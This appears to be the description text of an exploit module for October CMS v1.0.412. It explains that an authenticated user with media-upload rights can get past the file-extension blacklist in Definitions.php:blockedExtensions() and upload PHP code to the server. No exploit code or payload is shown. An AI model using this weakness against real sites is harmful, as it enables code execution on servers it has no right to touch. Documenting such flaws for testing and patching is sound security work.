          This module exploits an Authenticated user with permission to upload and manage media contents can
          upload various files on the server. Application prevents the user from
          uploading PHP code by checking the file extension. It uses black-list based
          approach, as seen in octobercms/vendor/october/rain/src/Filesystem/
          Definitions.php:blockedExtensions().
          This module was tested on October CMS version v1.0.412 on Ubuntu.
